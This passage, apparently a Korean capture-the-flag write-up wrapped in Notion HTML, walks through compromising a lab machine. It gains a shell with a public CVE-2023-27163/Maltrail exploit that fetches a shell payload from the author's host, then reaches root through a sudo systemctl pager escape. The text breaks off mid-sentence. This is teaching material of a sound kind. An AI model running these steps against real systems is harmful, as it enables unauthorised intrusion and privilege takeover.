class="notion-external-image"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-external-description"><div class="notion-external-title">CVE-2023-27163-POC</div><div class="notion-external-subtitle"><div class="notion-preview-card-domain-warp"><div class="notion-preview-card-logo"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-preview-card-domain">Github</div></div><div class="notion-preview-card-title">CVE-2023-27163-POC</div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Owner</div><span class="notion-external-subtitle-item-desc">lukehebe</span></div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Updated</div><span class="notion-external-subtitle-item-desc">Jun 16, 2026</span></div><div class="notion-preview-card-github-shields"><img src="https://img.shields.io/github/stars/lukehebe/CVE-2023-27163-POC?logo=github" alt=""/><img src="https://img.shields.io/github/last-commit/lukehebe/CVE-2023-27163-POC" alt=""/></div></div></div></a></li></ul><div class="notion-blank notion-block-de02196f526b83858c4f81cf42b6bcda"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-00d2196f526b8367bdeb018e55831177" data-id="00d2196f526b8367bdeb018e55831177"><span><div id="00d2196f526b8367bdeb018e55831177" class="notion-header-anchor"></div><a class="notion-hash-link" href="#00d2196f526b8367bdeb018e55831177" title="Exploitation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation</span></span></h2><div class="notion-text notion-block-6162196f526b822e8257015f62936574"><code class="notion-inline-code">python -m http.server 80</code></div><div class="notion-text notion-block-4112196f526b83d3bcd901da83bb1b70"><code class="notion-inline-code">python exploit.py -t 10.129.229.26 -p 55555 -b sauu --local-ip 10.10.15.20 --local-port 80 --payload-file shell.sh</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-2a02196f526b821fa285016f817b73ad"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A3e60e24a-86f6-48e9-a91a-55020328306c%3Aimage.png?table=block&amp;id=2a02196f-526b-821f-a285-016f817b73ad&amp;t=2a02196f-526b-821f-a285-016f817b73ad" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8302196f526b83e7b961815f38d4ddcd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac22cf1e4-cc96-4e4e-b79a-539520ba89bf%3Aimage.png?table=block&amp;id=8302196f-526b-83e7-b961-815f38d4ddcd&amp;t=8302196f-526b-83e7-b961-815f38d4ddcd" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ed82196f526b8270993a01a2ff28aaff"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A7d9d2114-be9a-42be-8468-84f84303d68a%3Aimage.png?table=block&amp;id=ed82196f-526b-8270-993a-01a2ff28aaff&amp;t=ed82196f-526b-8270-993a-01a2ff28aaff" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-4ae2196f526b83edaa230103b450e3fa"><li>CVE-2023-27163 github poc코드를 주소만 수정하여 실행하였더니 손쉽게 쉘을 얻어낼 수 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-9cc2196f526b82739d1101e12392ddce"><li>(나중에 안 사실인데 원래 27163은 ssrf만 있는 cve였고, 밑에 maltrail의 command injection 취약점과 엮여서 rce가 가능했다, 이건 그걸 합쳐놓은 poc코드였음)</li></ul><ul class="notion-list notion-list-disc notion-block-71c2196f526b8289b7e1018eeae28a78"><li>user flag 획득!!</li></ul><div class="notion-blank notion-block-9462196f526b83b0938e01ec9fb066bf"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-96e2196f526b83dba6a0013cf3369933" data-id="96e2196f526b83dba6a0013cf3369933"><span><div id="96e2196f526b83dba6a0013cf3369933" class="notion-header-anchor"></div><a class="notion-hash-link" href="#96e2196f526b83dba6a0013cf3369933" title="Privilege Escalation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Privilege Escalation</span></span></h2><div class="notion-text notion-block-1672196f526b8211a2640182ca068f0d"><code class="notion-inline-code">sudo -l</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-4632196f526b836c8bfb817591b9cf32"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A956d774d-6295-4436-a003-cec62c8aca83%3Aimage.png?table=block&amp;id=4632196f-526b-836c-8bfb-817591b9cf32&amp;t=4632196f-526b-836c-8bfb-817591b9cf32" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-bf72196f526b827e9a46018a6274aafc"><li>권한상승을 위해 sudo -l을 사용해보았고 바로 단서를 찾을 수 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-0652196f526b82fd89aa81f8ba46b854"><li><code class="notion-inline-code">sudo /usr/bin/systemctl status trail.service</code> 명령어를 root 권한으로 실행할 수 있다.</li></ul><div class="notion-blank notion-block-20a2196f526b83648d8f01ab4213f3a4"> </div><div class="notion-text notion-block-19c2196f526b82adb29b010aa08c1596"><code class="notion-inline-code">sudo /usr/bin/systemctl status trail.service</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-b722196f526b82c8940f01eeeea9859c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A82938a4e-b561-4f2f-aeef-6bdaca538836%3Aimage.png?table=block&amp;id=b722196f-526b-82c8-940f-01eeeea9859c&amp;t=b722196f-526b-82c8-940f-01eeeea9859c" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-8da2196f526b83af96e2810ebaa56bcc"> </div><div class="notion-text notion-block-77b2196f526b826e8141811f58f2ae1f"><code class="notion-inline-code">ss -tln</code></div><div class="notion-text notion-block-cd72196f526b8232b3db01b4e4cb3e06"><code class="notion-inline-code">curl 127.0.0.1:8338</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-dfe2196f526b82d98c45015e6f7952b6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa9884444-1828-402f-ba77-110033ca57cc%3Aimage.png?table=block&amp;id=dfe2196f-526b-82d9-8c45-015e6f7952b6&amp;t=dfe2196f-526b-82d9-8c45-015e6f7952b6" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-0bf2196f526b83e08c2881ae21cb0d09"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A578b741e-c0ff-43fa-a756-6e7d8d686090%3Aimage.png?table=block&amp;id=0bf2196f-526b-83e0-8c28-81ae21cb0d09&amp;t=0bf2196f-526b-83e0-8c28-81ae21cb0d09" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-df82196f526b82d4929981f23acd64aa"><li>서버에서 어떤 서비스가 돌고있는지 확인해봤더니 8338포트에 웹서비스가 하나 실행되고 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-3242196f526b83ee8610013be38b1ef7"><li>아까 sudo 권한때 실행중이던 Maltrail 웹서비스였고, 버전정보가 명시되어 있었다.</li></ul><ul class="notion-list notion-list-disc notion-block-66a2196f526b8362861281d221633add"><li><a class="notion-external notion-external-mention" href="https://github.com/spookier/Maltrail-v0.53-Exploit" target="_blank" rel="noopener noreferrer"><div class="notion-external-image"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-external-description"><div class="notion-external-title">Maltrail-v0.53-Exploit</div><div class="notion-external-subtitle"><div class="notion-preview-card-domain-warp"><div class="notion-preview-card-logo"><svg viewBox="0 0 260 260"><g><path d="M128.00106,0 C57.3172926,0 0,57.3066942 0,128.00106 C0,184.555281 36.6761997,232.535542 87.534937,249.460899 C93.9320223,250.645779 96.280588,246.684165 96.280588,243.303333 C96.280588,240.251045 96.1618878,230.167899 96.106777,219.472176 C60.4967585,227.215235 52.9826207,204.369712 52.9826207,204.369712 C47.1599584,189.574598 38.770408,185.640538 38.770408,185.640538 C27.1568785,177.696113 39.6458206,177.859325 39.6458206,177.859325 C52.4993419,178.762293 59.267365,191.04987 59.267365,191.04987 C70.6837675,210.618423 89.2115753,204.961093 96.5158685,201.690482 C97.6647155,193.417512 100.981959,187.77078 104.642583,184.574357 C76.211799,181.33766 46.324819,170.362144 46.324819,121.315702 C46.324819,107.340889 51.3250588,95.9223682 59.5132437,86.9583937 C58.1842268,83.7344152 53.8029229,70.715562 60.7532354,53.0843636 C60.7532354,53.0843636 71.5019501,49.6441813 95.9626412,66.2049595 C106.172967,63.368876 117.123047,61.9465949 128.00106,61.8978432 C138.879073,61.9465949 149.837632,63.368876 160.067033,66.2049595 C184.49805,49.6441813 195.231926,53.0843636 195.231926,53.0843636 C202.199197,70.715562 197.815773,83.7344152 196.486756,86.9583937 C204.694018,95.9223682 209.660343,107.340889 209.660343,121.315702 C209.660343,170.478725 179.716133,181.303747 151.213281,184.472614 C155.80443,188.444828 159.895342,196.234518 159.895342,208.176593 C159.895342,225.303317 159.746968,239.087361 159.746968,243.303333 C159.746968,246.709601 162.05102,250.70089 168.53925,249.443941 C219.370432,232.499507 256,184.536204 256,128.00106 C256,57.3066942 198.691187,0 128.00106,0 Z M47.9405593,182.340212 C47.6586465,182.976105 46.6581745,183.166873 45.7467277,182.730227 C44.8183235,182.312656 44.2968914,181.445722 44.5978808,180.80771 C44.8734344,180.152739 45.876026,179.97045 46.8023103,180.409216 C47.7328342,180.826786 48.2627451,181.702199 47.9405593,182.340212 Z M54.2367892,187.958254 C53.6263318,188.524199 52.4329723,188.261363 51.6232682,187.366874 C50.7860088,186.474504 50.6291553,185.281144 51.2480912,184.70672 C51.8776254,184.140775 53.0349512,184.405731 53.8743302,185.298101 C54.7115892,186.201069 54.8748019,187.38595 54.2367892,187.958254 Z M58.5562413,195.146347 C57.7719732,195.691096 56.4895886,195.180261 55.6968417,194.042013 C54.9125733,192.903764 54.9125733,191.538713 55.713799,190.991845 C56.5086651,190.444977 57.7719732,190.936735 58.5753181,192.066505 C59.3574669,193.22383 59.3574669,194.58888 58.5562413,195.146347 Z M65.8613592,203.471174 C65.1597571,204.244846 63.6654083,204.03712 62.5716717,202.981538 C61.4524999,201.94927 61.1409122,200.484596 61.8446341,199.710926 C62.5547146,198.935137 64.0575422,199.15346 65.1597571,200.200564 C66.2704506,201.230712 66.6095936,202.705984 65.8613592,203.471174 Z M75.3025151,206.281542 C74.9930474,207.284134 73.553809,207.739857 72.1039724,207.313809 C70.6562556,206.875043 69.7087748,205.700761 70.0012857,204.687571 C70.302275,203.678621 71.7478721,203.20382 73.2083069,203.659543 C74.6539041,204.09619 75.6035048,205.261994 75.3025151,206.281542 Z M86.046947,207.473627 C86.0829806,208.529209 84.8535871,209.404622 83.3316829,209.4237 C81.8013,209.457614 80.563428,208.603398 80.5464708,207.564772 C80.5464708,206.498591 81.7483088,205.631657 83.2786917,205.606221 C84.8005962,205.576546 86.046947,206.424403 86.046947,207.473627 Z M96.6021471,207.069023 C96.7844366,208.099171 95.7267341,209.156872 94.215428,209.438785 C92.7295577,209.710099 91.3539086,209.074206 91.1652603,208.052538 C90.9808515,206.996955 92.0576306,205.939253 93.5413813,205.66582 C95.054807,205.402984 96.4092596,206.021919 96.6021471,207.069023 Z" fill="#161614"></path></g></svg></div><div class="notion-preview-card-domain">Github</div></div><div class="notion-preview-card-title">Maltrail-v0.53-Exploit</div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Owner</div><span class="notion-external-subtitle-item-desc">spookier</span></div><div class="notion-external-subtitle-item"><div class="notion-external-subtitle-item-name">Updated</div><span class="notion-external-subtitle-item-desc">Jun 6, 2026</span></div><div class="notion-preview-card-github-shields"><img src="https://img.shields.io/github/stars/spookier/Maltrail-v0.53-Exploit?logo=github" alt=""/><img src="https://img.shields.io/github/last-commit/spookier/Maltrail-v0.53-Exploit" alt=""/></div></div></div></a></li></ul><div class="notion-blank notion-block-1232196f526b83a08ca2815a25b0bbd1"> </div><div class="notion-text notion-block-6ee2196f526b82aa841381d83265c512"><code class="notion-inline-code">python3 10.10.15.20 5555 127.0.0.1</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-9732196f526b83fab703018f238df3be"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A75aa9f16-da55-4467-96e9-ac53c8d316c9%3Aimage.png?table=block&amp;id=9732196f-526b-83fa-b703-018f238df3be&amp;t=9732196f-526b-83fa-b703-018f238df3be" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-c622196f526b8217b44a01d55770ec16"><li>성공은 했는데 똑같은 계정으로 웹서비스를 실행중이어서 틀린 방향이었다.</li></ul><ul class="notion-list notion-list-disc notion-block-4372196f526b8364bc9281bf9d6e39d1"><li>계속 헤매다가 권한상승부분 쪽의 guide mode를 참고하였더니 systemd의 버전을 묻고 있었다.</li></ul><div class="notion-blank notion-block-7e02196f526b83ad97f0019f95cc170f"> </div><div class="notion-text notion-block-7792196f526b8396817581bf20b20031"><code class="notion-inline-code">systemd --version</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-ac12196f526b83159a0681ef47bfd88a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aed21c972-43aa-4a94-9cbe-5b5476c947bd%3Aimage.png?table=block&amp;id=ac12196f-526b-8315-9a06-81ef47bfd88a&amp;t=ac12196f-526b-8315-9a06-81ef47bfd88a" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-3c32196f526b8277a1480173ffdb3f27"><li>systemd 245 버전이었다. ( <code class="notion-inline-code">systemctl --version</code> 을 해봤으면 됐을거같다 )</li><ul class="notion-list notion-list-disc notion-block-3c32196f526b8277a1480173ffdb3f27"><li><b>systemd : </b>실제로 돌아가는 init 시스템 (프로세스)</li><li><b>systemctl : </b>systemd에게 명령 내리는 CLI 도구</li></ul></ul><ul class="notion-list notion-list-disc notion-block-c752196f526b82f5b2ea018b32f25222"><li>이를 검색하니 어렵지않게 로컬 권한상승 CVE를 찾을 수 있었다.</li><ul class="notion-list notion-list-disc notion-block-c752196f526b82f5b2ea018b32f25222"><div class="notion-text notion-block-6a82196f526b83e7b27e01cce6c9717a"><span class="notion-link-mention"><a href="https://medium.com/@zenmoviefornotification/saidov-maxim-cve-2023-26604-c1232a526ba7" target="_blank" rel="noopener noreferrer" class="notion-link-mention-link"><img class="notion-link-mention-icon" src="https://miro.medium.com/v2/resize:fill:304:304/10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156" alt="Medium"/><span class="notion-link-mention-provider">Medium</span><span class="notion-link-mention-title">CVE-2023–26604</span></a><div class="notion-link-mention-preview"><article class="notion-link-mention-card"><img class="notion-link-mention-preview-thumbnail" src="https://miro.medium.com/v2/resize:fit:718/1*xANd-byKh3pItH7ZU5mMxA.jpeg" alt="CVE-2023–26604" referrerPolicy="same-origin"/><div class="notion-link-mention-preview-content"><p class="notion-link-mention-preview-title">CVE-2023–26604</p><p class="notion-link-mention-preview-description">How did i find it?</p><div class="notion-link-mention-preview-footer"><img class="notion-link-mention-preview-icon" src="https://miro.medium.com/v2/resize:fill:304:304/10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156" alt="Medium" referrerPolicy="same-origin"/><span class="notion-link-mention-preview-provider">Medium</span></div></div></article></div></span></div></ul></ul><div class="notion-blank notion-block-ecf2196f526b8284b35b0183a3a2c5c5"> </div><div class="notion-text notion-block-8542196f526b82fc92720175bb4c92da"><code class="notion-inline-code">python3 -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</code></div><div class="notion-text notion-block-b152196f526b83a29f86813cc87c27e2"><code class="notion-inline-code">sudo /usr/bin/systemctl status trail.service</code></div><div class="notion-text notion-block-bb22196f526b8204a4d9816685a95e34"><code class="notion-inline-code">!id</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c532196f526b8351a7a3012f5f7fff32"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A398bda5b-945b-4c16-93f5-5056886570b8%3Aimage.png?table=block&amp;id=c532196f-526b-8351-a7a3-012f5f7fff32&amp;t=c532196f-526b-8351-a7a3-012f5f7fff32" alt="notion image" loading="lazy" decoding="async"/></div></figure><ul class="notion-list notion-list-disc notion-block-4ec2196f526b83c8ba7b818849e1903f"><li>먼저 fully tty를 얻어준 후에 sudo systemctl 명령어를 사용하게 되면 ‘더보기’ 같은 기능이 